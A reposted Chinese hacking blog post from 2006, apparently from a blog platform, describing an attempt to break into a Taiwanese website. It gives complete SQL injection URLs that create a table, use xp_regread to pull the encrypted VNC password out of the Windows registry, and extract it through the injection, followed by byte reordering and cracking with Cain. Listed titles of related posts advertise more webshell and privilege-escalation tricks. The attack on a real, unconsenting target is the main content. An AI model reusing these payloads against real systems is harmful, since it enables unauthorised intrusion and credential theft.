MSSQL db_owner角色注入直接获得系统权限- -

转载 2006年05月23日 00:13:00

相信大家对ASP+MSSQL注入都已经很熟悉了,连一个对SQL语法丝毫不懂的人也可以用NBSI来轻松入侵大量网站。但就算是一个SQL INJECTION高手,如果针对在MSSQL中只有db_owner角色,破不出猜不到网站后台的情况下,好像也无技可施;除了用备份得到shell的这个思路,我在网上实在没有找出更好的入侵办法。不过,备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?前不久,我就碰到了这样的一个台湾网站,管理员的密码倒是用NBSi跑了出来,可是用户名因为是繁体的原因在NBSi中成了一堆乱码。我也找到了后台,可只有干瞪眼的份。怎么办?我又扫了它的所有端口,发现开了5900,估计是管理员用了VNC对服务器进行了远程控制。这时,我就有一个思路,能不能把VNC在注册表的加密密码读出来再来破解呢?看我表演吧!

  TELNET服务器的5900端口,得到讯息如图1所示,证实服务器的确用的是VNC。相信大家都会用读xp_regread来读注册表了,依次提交如下语句:
  http://www.something.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));
这样我们就成功地建了一个名为cyfd的表,并且添加了类型是char,长度为255的字段名gyfd。然后向表中加数据:
_blank>http://www.something.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software/ORL/WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
从注册表中读出VNC在注册表的加密密码的值,再把值插入到刚建的表中。然后暴出VNC在注册表的加密密码:
_blank>http://www.something.com/script.asp?id=2 and 1=(select count(*) from cyfd where gyfd > 1)。

  可是结果大失我所望,gyfd的值是空的。如果这样容易的话,不会有这篇文章出现了。这是什么原因呢?我的语法不正确?翻来覆去的检查我的语句也没有发现错误呀。难道繁体的vnc在注册表里的位置不一样?后来我又开始在本机装了vnc又在分析查循器里做测试,得到的结果却是个数字5。这时czy上线了,询问了一下,他劝我把gyfd的这个字段改成二进制数据类型 binary来试一下。于是我又在本机测试了一下,依次提交如下语句:
   http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE @result binary(20) EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software/ORL/WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后我再用nbsi跑出cyfd表里gyfd这个字段的值。结果到是出来了,得到了vnc的加密密码值是0x0E3515AC00000000000000000000000000000000。可这儿还不对,我在本机装的vnc在注册表里的密码值是hex:0e,35,15,ac,00,62,d3,08这个呀。原来binary(n)的数据存储长度是固定的,当输入的二进制长度小于n时,余下长度填0补充。我在注入语句中写入的binary(20)是足够写入vnc加密密码的长度时,为什么还有那么多0来填充呢?这是因为正好我的vnc密码是0e3515ac0062d308,在碰到了00的情况下,xp_regread以为已经读完了它的值呢,把00当成了结束符,所以只读到了0x0E3515AC,我晕!

  翻了一下书,终于让我找到了一个特殊的数据类型uniqueidentifier,是用来存储一个16字节长的二进制数据类型。把注入语句改造一下:
   http://127.0.0.1/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][uniqueidentifier]);
   http://127.0.0.1/script.asp?id=2;DECLARE @result uniqueidentifier EXEC master.dbo.xp_regread HKEY_CURRENT_USER,Software/ORL/WinVNC3, Password, @result output insert into cyfd (gyfd) values(@result);--
然后再用nbsi跑一下,跑出来了,不过得到的结果是AC15350E-6200-08D3-0000-000000000000。
  AC15350E-6200-08D3-0000-000000000000和我在注册表里的正确的vnc密码的值0e3515ac0062d308相比,能看出来有什么不同吗?只不过顺序是颠倒的,相信大家都会小学的算术,这个不用我教了。试一下用cain破出vnc的密码,看看行不行

  看样子在本机做的测试一切成功。这方法用到台湾上的站点试试,哎,依然没有跑出vnc的密码,也许繁体vnc在注册表的位置不同吧。不过,我研究了一上午,有了一点收获,就放过你吧。

MSSQL db_owner角色注入直接获得系统权限

  • zgqtxwd
  • zgqtxwd
  • 2008年05月01日 00:02
  • 84

db_owner角色注入直接获得系统权限

  • zgqtxwd
  • zgqtxwd
  • 2008年04月26日 13:01
  • 189

MSSQL db_owner注入获得系统权限

相信大家都看过LCX大虾写的《MSSQL db_owner角色注入直接获得系统权限》吧,小弟不自量力也写写我利用MSSQL db_owner角色注入直接获得系统权限的方法。LCX大哥大致取得系统权限的...
  • wangmj518
  • wangmj518
  • 2008年12月17日 15:16
  • 415

论在mssql中public和db_owner权限下拿到webshell或者系统权限

        在看之前我们先回顾一下目前在公开或者已知的public和db_owner权限拿到webshell或者系统权限的思路和方法(sysadmin权限我就不说拉,给你这么一句,只要是sysad...
  • yynice
  • yynice
  • 2005年06月21日 15:28
  • 749

DB_OWNER权限得到mssql服务器IP的方法

http://www.myhack58.com/Article/html/3/7/2009/24978.htm 现在注入横飞.工具一大堆,过去手工注入的时代已经不复存在. 代之的是NBSI HDS...
  • eldn__
  • eldn__
  • 2013年04月21日 00:15
  • 771

mssql中public和db_owner权限下拿到webshell或者系统权限

在看之前我们先回顾一下目前在公开或者已知的public和db_owner权限拿到webshell或者系统权限的思路和方法(sysadmin权限我就不说拉,给你这么一句,只要是sysadmin,拿不到w...
  • change518
  • change518
  • 2012年11月07日 22:03
  • 2129

Mssql Public权限列目录

Mssql Public权限列目录
  • cnbird2008
  • cnbird2008
  • 2011年01月05日 15:13
  • 1508

dbo sysadmin和db_owner的区别

dbo 是具有在数据库中执行所有活动的暗示性权限的用户。将固定服务器角色 sysadmin 的任何成员都映射到每个数据库内称为 dbo 的一个特殊用户上。另外,由固定服务器角色 sysadmin 的任...
  • lanmenghcc
  • lanmenghcc
  • 2014年11月19日 10:24
  • 1432

MSSQL2005差异备份拿shell (MSSQL2005 Backup Get Shell)

昨晚在拿站过程中遇到了个ASP+MSSQL2005的注入点,权限是DB_Owner的权限,网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没...
  • cnbird2008
  • cnbird2008
  • 2011年07月15日 10:27
  • 6236

MSSQL注入之木马上传拿webshell

1.检测是否存在注入点:依次添加语句',and 1=1和and 1=2,来判断网站是否存在注入点 2.利用语句:a' having 1=1--爆出表名和字段名AdminUser.AdminId 3...
  • Liuhuaijin
  • Liuhuaijin
  • 2017年08月16日 16:30
  • 363
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:MSSQL db_owner角色注入直接获得系统权限- -
举报原因:
原因补充:

(最多只允许输入30个字)